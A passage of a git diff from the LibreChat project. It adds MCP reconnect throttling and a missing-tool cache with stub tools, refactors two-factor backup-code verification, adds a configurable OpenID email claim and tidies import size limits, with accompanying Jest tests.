+  processAvatar: null,
+  /** @type {typeof uploadLocalImage | null} */
+  handleImageUpload: null,
+  /** @type {typeof prepareImagesLocal | null} */
+  prepareImagePayload: null,
+  /** @type {typeof deleteLocalFile | null} */
+  deleteFile: null,
+  /** @type {typeof getLocalFileStream | null} */
+  getDownloadStream: null,
+  handleFileUpload: parseDocument,
+});
+
 // Strategy Selector
 const getStrategyFunctions = (fileSource) => {
   if (fileSource === FileSources.firebase) {
@@ -270,6 +291,8 @@ const getStrategyFunctions = (fileSource) => {
     return azureMistralOCRStrategy();
   } else if (fileSource === FileSources.vertexai_mistral_ocr) {
     return vertexMistralOCRStrategy();
+  } else if (fileSource === FileSources.document_parser) {
+    return documentParserStrategy();
   } else if (fileSource === FileSources.text) {
     return localStrategy(); // Text files use local strategy
   } else {
diff --git a/api/server/services/GraphTokenService.js b/api/server/services/GraphTokenService.js
index d5cd6a94f2..843adbe5a2 100644
--- a/api/server/services/GraphTokenService.js
+++ b/api/server/services/GraphTokenService.js
@@ -7,7 +7,7 @@ const getLogStores = require('~/cache/getLogStores');
 /**
  * Get Microsoft Graph API token using existing token exchange mechanism
  * @param {Object} user - User object with OpenID information
- * @param {string} accessToken - Current access token from Authorization header
+ * @param {string} accessToken - Federated access token used as OBO assertion
  * @param {string} scopes - Graph API scopes for the token
  * @param {boolean} fromCache - Whether to try getting token from cache first
  * @returns {Promise<Object>} Graph API token response with access_token and expires_in
diff --git a/api/server/services/MCP.js b/api/server/services/MCP.js
index ad1f9f5cc3..c66eb0b6ef 100644
--- a/api/server/services/MCP.js
+++ b/api/server/services/MCP.js
@@ -34,6 +34,55 @@ const { reinitMCPServer } = require('./Tools/mcp');
 const { getAppConfig } = require('./Config');
 const { getLogStores } = require('~/cache');
 
+const MAX_CACHE_SIZE = 1000;
+const lastReconnectAttempts = new Map();
+const RECONNECT_THROTTLE_MS = 10_000;
+
+const missingToolCache = new Map();
+const MISSING_TOOL_TTL_MS = 10_000;
+
+function evictStale(map, ttl) {
+  if (map.size <= MAX_CACHE_SIZE) {
+    return;
+  }
+  const now = Date.now();
+  for (const [key, timestamp] of map) {
+    if (now - timestamp >= ttl) {
+      map.delete(key);
+    }
+    if (map.size <= MAX_CACHE_SIZE) {
+      return;
+    }
+  }
+}
+
+const unavailableMsg =
+  "This tool's MCP server is temporarily unavailable. Please try again shortly.";
+
+/**
+ * @param {string} toolName
+ * @param {string} serverName
+ */
+function createUnavailableToolStub(toolName, serverName) {
+  const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
+  const _call = async () => [unavailableMsg, null];
+  const toolInstance = tool(_call, {
+    schema: {
+      type: 'object',
+      properties: {
+        input: { type: 'string', description: 'Input for the tool' },
+      },
+      required: [],
+    },
+    name: normalizedToolKey,
+    description: unavailableMsg,
+    responseFormat: AgentConstants.CONTENT_AND_ARTIFACT,
+  });
+  toolInstance.mcp = true;
+  toolInstance.mcpRawServerName = serverName;
+  return toolInstance;
+}
+
 function isEmptyObjectSchema(jsonSchema) {
   return (
     jsonSchema != null &&
@@ -211,6 +260,17 @@ async function reconnectServer({
   logger.debug(
     `[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
   );
+
+  const throttleKey = `${user.id}:${serverName}`;
+  const now = Date.now();
+  const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0;
+  if (now - lastAttempt < RECONNECT_THROTTLE_MS) {
+    logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`);
+    return null;
+  }
+  lastReconnectAttempts.set(throttleKey, now);
+  evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS);
+
   const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
   const flowId = `${user.id}:${serverName}:${Date.now()}`;
   const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
@@ -267,7 +327,7 @@ async function reconnectServer({
       userMCPAuthMap,
       forceNew: true,
       returnOnOAuth: false,
-      connectionTimeout: Time.TWO_MINUTES,
+      connectionTimeout: Time.THIRTY_SECONDS,
     });
   } finally {
     // Clean up abort handler to prevent memory leaks
@@ -330,9 +390,13 @@ async function createMCPTools({
     userMCPAuthMap,
     streamId,
   });
+  if (result === null) {
+    logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`);
+    return [];
+  }
   if (!result || !result.tools) {
     logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
-    return;
+    return [];
   }
 
   const serverTools = [];
@@ -402,6 +466,14 @@ async function createMCPTool({
   /** @type {LCTool | undefined} */
   let toolDefinition = availableTools?.[toolKey]?.function;
   if (!toolDefinition) {
+    const cachedAt = missingToolCache.get(toolKey);
+    if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) {
+      logger.debug(
+        `[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`,
+      );
+      return createUnavailableToolStub(toolName, serverName);
+    }
+
     logger.warn(
       `[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
     );
@@ -415,11 +487,18 @@ async function createMCPTool({
       streamId,
     });
     toolDefinition = result?.availableTools?.[toolKey]?.function;
+
+    if (!toolDefinition) {
+      missingToolCache.set(toolKey, Date.now());
+      evictStale(missingToolCache, MISSING_TOOL_TTL_MS);
+    }
   }
 
   if (!toolDefinition) {
-    logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`);
-    return;
+    logger.warn(
+      `[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`,
+    );
+    return createUnavailableToolStub(toolName, serverName);
   }
 
   return createToolInstance({
@@ -720,4 +799,5 @@ module.exports = {
   getMCPSetupData,
   checkOAuthFlowStatus,
   getServerConnectionStatus,
+  createUnavailableToolStub,
 };
diff --git a/api/server/services/MCP.spec.js b/api/server/services/MCP.spec.js
index b2caebc91e..14a9ef90ed 100644
--- a/api/server/services/MCP.spec.js
+++ b/api/server/services/MCP.spec.js
@@ -45,6 +45,7 @@ const {
   getMCPSetupData,
   checkOAuthFlowStatus,
   getServerConnectionStatus,
+  createUnavailableToolStub,
 } = require('./MCP');
 
 jest.mock('./Config', () => ({
@@ -1098,6 +1099,188 @@ describe('User parameter passing tests', () => {
     });
   });
 
+  describe('createUnavailableToolStub', () => {
+    it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => {
+      const stub = createUnavailableToolStub('myTool', 'myServer');
+      // invoke() goes through langchain's base tool, which checks responseFormat.
+      // CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw:
+      //   "Tool response format is "content_and_artifact" but the output was not a two-tuple"
+      const result = await stub.invoke({});
+      // If we reach here without throwing, the two-tuple format is correct.
+      // invoke() returns the content portion of [content, artifact] as a string.
+      expect(result).toContain('temporarily unavailable');
+    });
+  });
+
+  describe('negative tool cache and throttle interaction', () => {
+    it('should cache tool as missing even when throttled (cross-user dedup)', async () => {
+      const mockUser = { id: 'throttle-test-user' };
+      const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+      // First call: reconnect succeeds but tool not found
+      mockReinitMCPServer.mockResolvedValueOnce({
+        availableTools: {},
+      });
+
+      await createMCPTool({
+        res: mockRes,
+        user: mockUser,
+        toolKey: `missing-tool${D}cache-dedup-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      // Second call within 10s for DIFFERENT tool on same server:
+      // reconnect is throttled (returns null), tool is still cached as missing.
+      // This is intentional: the cache acts as cross-user dedup since the
+      // throttle is per-user-per-server and can't prevent N different users
+      // from each triggering their own reconnect.
+      const result2 = await createMCPTool({
+        res: mockRes,
+        user: mockUser,
+        toolKey: `other-tool${D}cache-dedup-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      expect(result2).toBeDefined();
+      expect(result2.name).toContain('other-tool');
+      expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+    });
+
+    it('should prevent user B from triggering reconnect when user A already cached the tool', async () => {
+      const userA = { id: 'cache-user-A' };
+      const userB = { id: 'cache-user-B' };
+      const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+      // User A: real reconnect, tool not found → cached
+      mockReinitMCPServer.mockResolvedValueOnce({
+        availableTools: {},
+      });
+
+      await createMCPTool({
+        res: mockRes,
+        user: userA,
+        toolKey: `shared-tool${D}cross-user-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+
+      // User B requests the SAME tool within 10s.
+      // The negative cache is keyed by toolKey (no user prefix), so user B
+      // gets a cache hit and no reconnect fires. This is the cross-user
+      // storm protection: without this, user B's unthrottled first request
+      // would trigger a second reconnect to the same server.
+      const result = await createMCPTool({
+        res: mockRes,
+        user: userB,
+        toolKey: `shared-tool${D}cross-user-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      expect(result).toBeDefined();
+      expect(result.name).toContain('shared-tool');
+      // reinitMCPServer still called only once — user B hit the cache
+      expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+    });
+
+    it('should prevent user B from triggering reconnect for throttle-cached tools', async () => {
+      const userA = { id: 'storm-user-A' };
+      const userB = { id: 'storm-user-B' };
+      const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+      // User A: real reconnect for tool-1, tool not found → cached
+      mockReinitMCPServer.mockResolvedValueOnce({
+        availableTools: {},
+      });
+
+      await createMCPTool({
+        res: mockRes,
+        user: userA,
+        toolKey: `tool-1${D}storm-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      // User A: tool-2 on same server within 10s → throttled → cached from throttle
+      await createMCPTool({
+        res: mockRes,
+        user: userA,
+        toolKey: `tool-2${D}storm-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+
+      // User B requests tool-2 — gets cache hit from the throttle-cached entry.
+      // Without this caching, user B would trigger a real reconnect since
+      // user B has their own throttle key and hasn't reconnected yet.
+      const result = await createMCPTool({
+        res: mockRes,
+        user: userB,
+        toolKey: `tool-2${D}storm-server`,
+        provider: 'openai',
+        userMCPAuthMap: {},
+        availableTools: undefined,
+      });
+
+      expect(result).toBeDefined();
+      expect(result.name).toContain('tool-2');
+      // Still only 1 real reconnect — user B was protected by the cache
+      expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+    });
+  });
+
+  describe('createMCPTools throttle handling', () => {
+    it('should return empty array with debug log when reconnect is throttled', async () => {
+      const mockUser = { id: 'throttle-tools-user' };
+      const mockRes = { write: jest.fn(), flush: jest.fn() };
+
+      // First call: real reconnect
+      mockReinitMCPServer.mockResolvedValueOnce({
+        tools: [{ name: 'tool1' }],
+        availableTools: {
+          [`tool1${D}throttle-tools-server`]: {
+            function: { description: 'Tool 1', parameters: {} },
+          },
+        },
+      });
+
+      await createMCPTools({
+        res: mockRes,
+        user: mockUser,
+        serverName: 'throttle-tools-server',
+        provider: 'openai',
+        userMCPAuthMap: {},
+      });
+
+      // Second call within 10s — throttled
+      const result = await createMCPTools({
+        res: mockRes,
+        user: mockUser,
+        serverName: 'throttle-tools-server',
+        provider: 'openai',
+        userMCPAuthMap: {},
+      });
+
+      expect(result).toEqual([]);
+      // reinitMCPServer called only once — second was throttled
+      expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
+      // Should log at debug level (not warn) for throttled case
+      expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled'));
+    });
+  });
+
   describe('User parameter integrity', () => {
     it('should preserve user object properties through the call chain', async () => {
       const complexUser = {
diff --git a/api/server/services/ToolService.js b/api/server/services/ToolService.js
index eedb95bd4d..62499348e6 100644
--- a/api/server/services/ToolService.js
+++ b/api/server/services/ToolService.js
@@ -12,7 +12,6 @@ const {
 const {
   sendEvent,
   getToolkitKey,
-  hasCustomUserVars,
   getUserMCPAuthMap,
   loadToolDefinitions,
   GenerationJobManager,
@@ -481,7 +480,7 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
 
   /** @type {Record<string, Record<string, string>>} */
   let userMCPAuthMap;
-  if (hasCustomUserVars(req.config)) {
+  if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
     userMCPAuthMap = await getUserMCPAuthMap({
       tools: agent.tools,
       userId: req.user.id,
@@ -860,8 +859,7 @@ async function loadAgentTools({
 
   /** @type {Record<string, Record<string, string>>} */
   let userMCPAuthMap;
-  //TODO pass config from registry
-  if (hasCustomUserVars(req.config)) {
+  if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
     userMCPAuthMap = await getUserMCPAuthMap({
       tools: agent.tools,
       userId: req.user.id,
diff --git a/api/server/services/Tools/mcp.js b/api/server/services/Tools/mcp.js
index 10f2d71a18..7589043e10 100644
--- a/api/server/services/Tools/mcp.js
+++ b/api/server/services/Tools/mcp.js
@@ -1,8 +1,8 @@
 const { logger } = require('@librechat/data-schemas');
 const { CacheKeys, Constants } = require('librechat-data-provider');
+const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config');
 const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
 const { updateMCPServerTools } = require('~/server/services/Config');
-const { getMCPManager, getFlowStateManager } = require('~/config');
 const { getLogStores } = require('~/cache');
 
 /**
@@ -41,6 +41,33 @@ async function reinitMCPServer({
   let oauthUrl = null;
 
   try {
+    const registry = getMCPServersRegistry();
+    const serverConfig = await registry.getServerConfig(serverName, user?.id);
+    if (serverConfig?.inspectionFailed) {
+      logger.info(
+        `[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`,
+      );
+      try {
+        const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE';
+        await registry.reinspectServer(serverName, storageLocation, user?.id);
+        logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`);
+      } catch (reinspectError) {
+        logger.error(
+          `[MCP Reinitialize] Reinspection failed for server ${serverName}:`,
+          reinspectError,
+        );
+        return {
+          availableTools: null,
+          success: false,
+          message: `MCP server '${serverName}' is still unreachable`,
+          oauthRequired: false,
+          serverName,
+          oauthUrl: null,
+          tools: null,
+        };
+      }
+    }
+
     const customUserVars = userMCPAuthMap?.[`${Constants.mcp_prefix}${serverName}`];
     const flowManager = _flowManager ?? getFlowStateManager(getLogStores(CacheKeys.FLOWS));
     const mcpManager = getMCPManager();
diff --git a/api/server/services/__tests__/ToolService.spec.js b/api/server/services/__tests__/ToolService.spec.js
index 2f00bbc3d6..c44298b09c 100644
--- a/api/server/services/__tests__/ToolService.spec.js
+++ b/api/server/services/__tests__/ToolService.spec.js
@@ -1,4 +1,8 @@
-const { AgentCapabilities, defaultAgentCapabilities } = require('librechat-data-provider');
+const {
+  Constants,
+  AgentCapabilities,
+  defaultAgentCapabilities,
+} = require('librechat-data-provider');
 
 /**
  * Tests for ToolService capability checking logic.
@@ -119,6 +123,55 @@ describe('ToolService - Capability Checking', () => {
     });
   });
 
+  describe('userMCPAuthMap gating', () => {
+    /**
+     * Simulates the guard condition used in both loadToolDefinitionsWrapper
+     * and loadAgentTools to decide whether getUserMCPAuthMap should be called.
+     */
+    const shouldFetchMCPAuth = (tools) =>
+      tools?.some((t) => t.includes(Constants.mcp_delimiter)) ?? false;
+
+    it('should return true when agent has MCP tools', () => {
+      const tools = ['web_search', `search${Constants.mcp_delimiter}my-mcp-server`, 'calculator'];
+      expect(shouldFetchMCPAuth(tools)).toBe(true);
+    });
+
+    it('should return false when agent has no MCP tools', () => {
+      const tools = ['web_search', 'calculator', 'code_interpreter'];
+      expect(shouldFetchMCPAuth(tools)).toBe(false);
+    });
+
+    it('should return false when tools is empty', () => {
+      expect(shouldFetchMCPAuth([])).toBe(false);
+    });
+
+    it('should return false when tools is undefined', () => {
+      expect(shouldFetchMCPAuth(undefined)).toBe(false);
+    });
+
+    it('should return false when tools is null', () => {
+      expect(shouldFetchMCPAuth(null)).toBe(false);
+    });
+
+    it('should detect MCP tools with different server names', () => {
+      const tools = [
+        `listFiles${Constants.mcp_delimiter}file-server`,
+        `query${Constants.mcp_delimiter}db-server`,
+      ];
+      expect(shouldFetchMCPAuth(tools)).toBe(true);
+    });
+
+    it('should return true even when only one tool is MCP', () => {
+      const tools = [
+        'web_search',
+        'calculator',
+        'code_interpreter',
+        `echo${Constants.mcp_delimiter}test-server`,
+      ];
+      expect(shouldFetchMCPAuth(tools)).toBe(true);
+    });
+  });
+
   describe('deferredToolsEnabled integration', () => {
     it('should correctly determine deferredToolsEnabled from capabilities set', () => {
       const createCheckCapability = (enabledCapabilities) => {
diff --git a/api/server/services/twoFactorService.js b/api/server/services/twoFactorService.js
index cce24e2322..313c557133 100644
--- a/api/server/services/twoFactorService.js
+++ b/api/server/services/twoFactorService.js
@@ -153,9 +153,11 @@ const generateBackupCodes = async (count = 10) => {
  * @param {Object} params
  * @param {Object} params.user
  * @param {string} params.backupCode
+ * @param {boolean} [params.persist=true] - Whether to persist the used-mark to the database.
+ *   Pass `false` when the caller will immediately overwrite `backupCodes` (e.g. re-enrollment).
  * @returns {Promise<boolean>}
  */
-const verifyBackupCode = async ({ user, backupCode }) => {
+const verifyBackupCode = async ({ user, backupCode, persist = true }) => {
   if (!backupCode || !user || !Array.isArray(user.backupCodes)) {
     return false;
   }
@@ -165,17 +167,50 @@ const verifyBackupCode = async ({ user, backupCode }) => {
     (codeObj) => codeObj.codeHash === hashedInput && !codeObj.used,
   );
 
-  if (matchingCode) {
+  if (!matchingCode) {
+    return false;
+  }
+
+  if (persist) {
     const updatedBackupCodes = user.backupCodes.map((codeObj) =>
       codeObj.codeHash === hashedInput && !codeObj.used
         ? { ...codeObj, used: true, usedAt: new Date() }
         : codeObj,
     );
-    // Update the user record with the marked backup code.
     await updateUser(user._id, { backupCodes: updatedBackupCodes });
-    return true;
   }
-  return false;
+  return true;
+};
+
+/**
+ * Verifies a user's identity via TOTP token or backup code.
+ * @param {Object} params
+ * @param {Object} params.user - The user document (must include totpSecret and backupCodes).
+ * @param {string} [params.token] - A 6-digit TOTP token.
+ * @param {string} [params.backupCode] - An 8-character backup code.
+ * @param {boolean} [params.persistBackupUse=true] - Whether to mark the backup code as used in the DB.
+ * @returns {Promise<{ verified: boolean, status?: number, message?: string }>}
+ */
+const verifyOTPOrBackupCode = async ({ user, token, backupCode, persistBackupUse = true }) => {
+  if (!token && !backupCode) {
+    return { verified: false, status: 400 };
+  }
+
+  if (token) {
+    const secret = await getTOTPSecret(user.totpSecret);
+    if (!secret) {
+      return { verified: false, status: 400, message: '2FA secret is missing or corrupted' };
+    }
+    const ok = await verifyTOTP(secret, token);
+    return ok
+      ? { verified: true }
+      : { verified: false, status: 401, message: 'Invalid token or backup code' };
+  }
+
+  const ok = await verifyBackupCode({ user, backupCode, persist: persistBackupUse });
+  return ok
+    ? { verified: true }
+    : { verified: false, status: 401, message: 'Invalid token or backup code' };
 };
 
 /**
@@ -213,11 +248,12 @@ const generate2FATempToken = (userId) => {
 };
 
 module.exports = {
-  generateTOTPSecret,
-  generateTOTP,
-  verifyTOTP,
+  verifyOTPOrBackupCode,
+  generate2FATempToken,
   generateBackupCodes,
+  generateTOTPSecret,
   verifyBackupCode,
   getTOTPSecret,
-  generate2FATempToken,
+  generateTOTP,
+  verifyTOTP,
 };
diff --git a/api/server/utils/import/fork.js b/api/server/utils/import/fork.js
index c4ce8cb5d4..f896de378c 100644
--- a/api/server/utils/import/fork.js
+++ b/api/server/utils/import/fork.js
@@ -358,16 +358,15 @@ function splitAtTargetLevel(messages, targetMessageId) {
  * @param {object} params - The parameters for duplicating the conversation.
  * @param {string} params.userId - The ID of the user duplicating the conversation.
  * @param {string} params.conversationId - The ID of the conversation to duplicate.
+ * @param {string} [params.title] - Optional title override for the duplicate.
  * @returns {Promise<{ conversation: TConversation, messages: TMessage[] }>} The duplicated conversation and messages.
  */
-async function duplicateConversation({ userId, conversationId }) {
-  // Get original conversation
+async function duplicateConversation({ userId, conversationId, title }) {
   const originalConvo = await getConvo(userId, conversationId);
   if (!originalConvo) {
     throw new Error('Conversation not found');
   }
 
-  // Get original messages
   const originalMessages = await getMessages({
     user: userId,
     conversationId,
@@ -383,14 +382,11 @@ async function duplicateConversation({ userId, conversationId }) {
 
   cloneMessagesWithTimestamps(messagesToClone, importBatchBuilder);
 
-  const result = importBatchBuilder.finishConversation(
-    originalConvo.title,
-    new Date(),
-    originalConvo,
-  );
+  const duplicateTitle = title || originalConvo.title;
+  const result = importBatchBuilder.finishConversation(duplicateTitle, new Date(), originalConvo);
   await importBatchBuilder.saveBatch();
   logger.debug(
-    `user: ${userId} | New conversation "${originalConvo.title}" duplicated from conversation ID ${conversationId}`,
+    `user: ${userId} | New conversation "${duplicateTitle}" duplicated from conversation ID ${conversationId}`,
   );
 
   const conversation = await getConvo(userId, result.conversation.conversationId);
diff --git a/api/server/utils/import/importConversations.js b/api/server/utils/import/importConversations.js
index d9e4d4332d..e56176c609 100644
--- a/api/server/utils/import/importConversations.js
+++ b/api/server/utils/import/importConversations.js
@@ -1,7 +1,10 @@
 const fs = require('fs').promises;
+const { resolveImportMaxFileSize } = require('@librechat/api');
 const { logger } = require('@librechat/data-schemas');
 const { getImporter } = require('./importers');
 
+const maxFileSize = resolveImportMaxFileSize();
+
 /**
  * Job definition for importing a conversation.
  * @param {{ filepath, requestUserId }} job - The job object.
@@ -11,11 +14,10 @@ const importConversations = async (job) => {
   try {
     logger.debug(`user: ${requestUserId} | Importing conversation(s) from file...`);
 
-    /* error if file is too large */
     const fileInfo = await fs.stat(filepath);
-    if (fileInfo.size > process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES) {
+    if (fileInfo.size > maxFileSize) {
       throw new Error(
-        `File size is ${fileInfo.size} bytes.  It exceeds the maximum limit of ${process.env.CONVERSATION_IMPORT_MAX_FILE_SIZE_BYTES} bytes.`,
+        `File size is ${fileInfo.size} bytes. It exceeds the maximum limit of ${maxFileSize} bytes.`,
       );
     }
 
diff --git a/api/server/utils/import/importers.spec.js b/api/server/utils/import/importers.spec.js
index a695a31555..2ddfa76658 100644
--- a/api/server/utils/import/importers.spec.js
+++ b/api/server/utils/import/importers.spec.js
@@ -1277,12 +1277,9 @@ describe('processAssistantMessage', () => {
       results.push(duration);
     });
 
-    // Check if processing time increases exponentially
-    // In a ReDoS vulnerability, time would roughly double with each size increase
-    for (let i = 1; i < results.length; i++) {
-      const ratio = results[i] / results[i - 1];
-      expect(ratio).toBeLessThan(3); // Allow for CI environment variability while still catching ReDoS
-      console.log(`Size ${sizes[i]} processing time ratio: ${ratio}`);
+    // Each size should complete well under 100ms; a ReDoS would cause exponential blowup
+    for (let i = 0; i < results.length; i++) {
+      expect(results[i]).toBeLessThan(100);
     }
 
     // Also test with the exact payload from the security report
diff --git a/api/strategies/index.js b/api/strategies/index.js
index b4f7bd3cac..9a1c58ad38 100644
--- a/api/strategies/index.js
+++ b/api/strategies/index.js
@@ -1,4 +1,4 @@
-const { setupOpenId, getOpenIdConfig } = require('./openidStrategy');
+const { setupOpenId, getOpenIdConfig, getOpenIdEmail } = require('./openidStrategy');
 const openIdJwtLogin = require('./openIdJwtStrategy');
 const facebookLogin = require('./facebookStrategy');
 const discordLogin = require('./discordStrategy');
@@ -20,6 +20,7 @@ module.exports = {
   facebookLogin,
   setupOpenId,
   getOpenIdConfig,
+  getOpenIdEmail,
   ldapLogin,
   setupSaml,
   openIdJwtLogin,
diff --git a/api/strategies/openIdJwtStrategy.js b/api/strategies/openIdJwtStrategy.js
index 997dcec397..83a40bf948 100644
--- a/api/strategies/openIdJwtStrategy.js
+++ b/api/strategies/openIdJwtStrategy.js
@@ -5,6 +5,7 @@ const { HttpsProxyAgent } = require('https-proxy-agent');
 const { SystemRoles } = require('librechat-data-provider');
 const { isEnabled, findOpenIDUser, math } = require('@librechat/api');
 const { Strategy: JwtStrategy, ExtractJwt } = require('passport-jwt');
+const { getOpenIdEmail } = require('./openidStrategy');
 const { updateUser, findUser } = require('~/models');
 
 /**
@@ -53,7 +54,7 @@ const openIdJwtLogin = (openIdConfig) => {
 
         const { user, error, migration } = await findOpenIDUser({
           findUser,
-          email: payload?.email,
+          email: payload ? getOpenIdEmail(payload) : undefined,
           openidId: payload?.sub,
           idOnTheSource: payload?.oid,
           strategyName: 'openIdJwtLogin',
diff --git a/api/strategies/openIdJwtStrategy.spec.js b/api/strategies/openIdJwtStrategy.spec.js
index 566afe5a90..79af848046 100644
--- a/api/strategies/openIdJwtStrategy.spec.js
+++ b/api/strategies/openIdJwtStrategy.spec.js
@@ -29,10 +29,21 @@ jest.mock('~/models', () => ({
   findUser: jest.fn(),
   updateUser: jest.fn(),
 }));
+jest.mock('~/server/services/Files/strategies', () => ({
+  getStrategyFunctions: jest.fn(() => ({
+    saveBuffer: jest.fn().mockResolvedValue('/fake/path/to/avatar.png'),
+  })),
+}));
+jest.mock('~/server/services/Config', () => ({
+  getAppConfig: jest.fn().mockResolvedValue({}),
+}));
+jest.mock('~/cache/getLogStores', () =>
+  jest.fn().mockReturnValue({ get: jest.fn(), set: jest.fn() }),
+);
 
 const { findOpenIDUser } = require('@librechat/api');
-const { updateUser } = require('~/models');
 const openIdJwtLogin = require('./openIdJwtStrategy');
+const { findUser, updateUser } = require('~/models');
 
 // Helper: build a mock openIdConfig
 const mockOpenIdConfig = {
@@ -181,3 +192,156 @@ describe('openIdJwtStrategy – token source handling', () => {
     expect(user.federatedTokens.access_token).not.toBe(user.federatedTokens.id_token);
   });
 });
+
+describe('openIdJwtStrategy – OPENID_EMAIL_CLAIM', () => {
+  const payload = {
+    sub: 'oidc-123',
+    email: 'test@example.com',
+    preferred_username: 'testuser',
+    upn: 'test@corp.example.com',
+    exp: 9999999999,
+  };
+
+  beforeEach(() => {
+    jest.clearAllMocks();
+    delete process.env.OPENID_EMAIL_CLAIM;
+
+    // Use real findOpenIDUser so it delegates to the findUser mock
+    const realFindOpenIDUser = jest.requireActual('@librechat/api').findOpenIDUser;
+    findOpenIDUser.mockImplementation(realFindOpenIDUser);
+
+    findUser.mockResolvedValue(null);
+    updateUser.mockResolvedValue({});
+
+    openIdJwtLogin(mockOpenIdConfig);
+  });
+
+  afterEach(() => {
+    delete process.env.OPENID_EMAIL_CLAIM;
+  });
+
+  it('should use the default email when OPENID_EMAIL_CLAIM is not set', async () => {
+    const existingUser = {
+      _id: 'user-id-1',
+      provider: 'openid',
+      openidId: payload.sub,
+      email: payload.email,
+      role: SystemRoles.USER,
+    };
+    findUser.mockImplementation(async (query) => {
+      if (query.$or && query.$or.some((c) => c.openidId === payload.sub)) {
+        return existingUser;
+      }
+      return null;
+    });
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    await invokeVerify(req, payload);
+
+    expect(findUser).toHaveBeenCalledWith(
+      expect.objectContaining({
+        $or: expect.arrayContaining([{ openidId: payload.sub }]),
+      }),
+    );
+  });
+
+  it('should use OPENID_EMAIL_CLAIM when set for email lookup', async () => {
+    process.env.OPENID_EMAIL_CLAIM = 'upn';
+    findUser.mockResolvedValue(null);
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    const { user } = await invokeVerify(req, payload);
+
+    expect(findUser).toHaveBeenCalledTimes(2);
+    expect(findUser.mock.calls[0][0]).toMatchObject({
+      $or: expect.arrayContaining([{ openidId: payload.sub }]),
+    });
+    expect(findUser.mock.calls[1][0]).toEqual({ email: 'test@corp.example.com' });
+    expect(user).toBe(false);
+  });
+
+  it('should fall back to default chain when OPENID_EMAIL_CLAIM points to missing claim', async () => {
+    process.env.OPENID_EMAIL_CLAIM = 'nonexistent_claim';
+    findUser.mockResolvedValue(null);
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    const { user } = await invokeVerify(req, payload);
+
+    expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+    expect(user).toBe(false);
+  });
+
+  it('should trim whitespace from OPENID_EMAIL_CLAIM', async () => {
+    process.env.OPENID_EMAIL_CLAIM = '  upn  ';
+    findUser.mockResolvedValue(null);
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    await invokeVerify(req, payload);
+
+    expect(findUser).toHaveBeenCalledWith({ email: 'test@corp.example.com' });
+  });
+
+  it('should ignore empty string OPENID_EMAIL_CLAIM and use default fallback', async () => {
+    process.env.OPENID_EMAIL_CLAIM = '';
+    findUser.mockResolvedValue(null);
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    await invokeVerify(req, payload);
+
+    expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+  });
+
+  it('should ignore whitespace-only OPENID_EMAIL_CLAIM and use default fallback', async () => {
+    process.env.OPENID_EMAIL_CLAIM = '   ';
+    findUser.mockResolvedValue(null);
+
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    await invokeVerify(req, payload);
+
+    expect(findUser).toHaveBeenCalledWith({ email: payload.email });
+  });
+
+  it('should resolve undefined email when payload is null', async () => {
+    const req = { headers: { authorization: 'Bearer tok' }, session: {} };
+    const { user } = await invokeVerify(req, null);
+
+    expect(user).toBe(false);
+  });
+
+  it('should attempt email lookup via preferred_username fallback when email claim is absent', async () => {
+    const payloadNoEmail = {
+      sub: 'oidc-new-sub',
+      preferred_username: 'legacy@corp.com',
+      upn: 'legacy@corp.com',
+      exp: 9999999999,
+    };
+
+    const legacyUser = {
+      _id: 'legacy-db-id',
+      email: 'legacy@corp.com',
+      openidId: null,
+      role: SystemRoles.USER,
+    };
+
